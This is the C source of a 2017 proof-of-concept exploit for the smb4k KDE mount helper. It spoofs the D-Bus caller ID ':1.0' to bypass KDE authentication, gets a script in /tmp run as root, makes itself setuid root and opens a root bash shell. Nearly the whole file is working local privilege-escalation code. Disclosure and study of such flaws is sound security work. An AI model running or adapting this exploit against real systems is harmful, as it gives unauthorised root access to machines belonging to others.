// cc -Wall smb0k.c -pedantic -std=c11
//
// smb4k PoC, also demonstrating broader scope of a generic kde
// authentication bypass vulnerability
//
// (C) 2017 Sebastian Krahmer
//
 
#define _POSIX_C_SOURCE 200112L
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
 
 
void die(const char *s)
{
    perror(s);
    exit(errno);
}
 
 
int main(int argc, char **argv)
{
    char me[1024] = {0};
    char *dbus[] = {
        "/usr/bin/dbus-send",
        "--system",
        "--print-reply",
        "--dest=net.sourceforge.smb4k.mounthelper",
        "/",
        "org.kde.auth.performActions",
        "array:byte:"
// The variant map, containing evil mh_command key-pair
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// the callerID, ":1.0" which is dbus itself and thus always passes
"array:byte:58,49,46,48", NULL};
 
    char *boomsh = "/tmp/xmount.cifs";
    char *const sh[] = {me, "shell", NULL};
    char *const bash[] = {"/bin/bash", "--norc", "--noprofile", NULL};
    struct stat st;
    int fd = -1;
 
    if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0)
        die("[-] readlink");
 
    if (geteuid() == 0) {
        setuid(0);
        setgid(0);
        if (argc == 2) {
            execve(*bash, bash, NULL);
            die("[-] execve of bash");
        }
        chown(me, 0, 0);
        chmod(me, 04755);
        exit(0);
    }
 
    printf("[*] Creating shellscript ...\n");
    unlink(boomsh);
    if ((fd = open(boomsh, O_RDWR|O_CREAT, 0755)) < 0)
        die("[-] open");
    write(fd, "#!/bin/sh\n", 10);
    write(fd, me, strlen(me));
    write(fd, "\n", 1);
    close(fd);
 
    printf("[*] Triggering call...\n");
 
    if (fork() == 0) {
        execve(*dbus, dbus, NULL);
        exit(1);
    }
    wait(NULL);
    sleep(5);
    printf("[*] Trying to find rootshell...\n");
 
    memset(&st, 0, sizeof(st));
    stat(me, &st);
    if ((st.st_mode & 04000) != 04000)
        die("[-] Failed to chmod ourselfs.\n");
 
    execve(me, sh, NULL);
    return 0;
}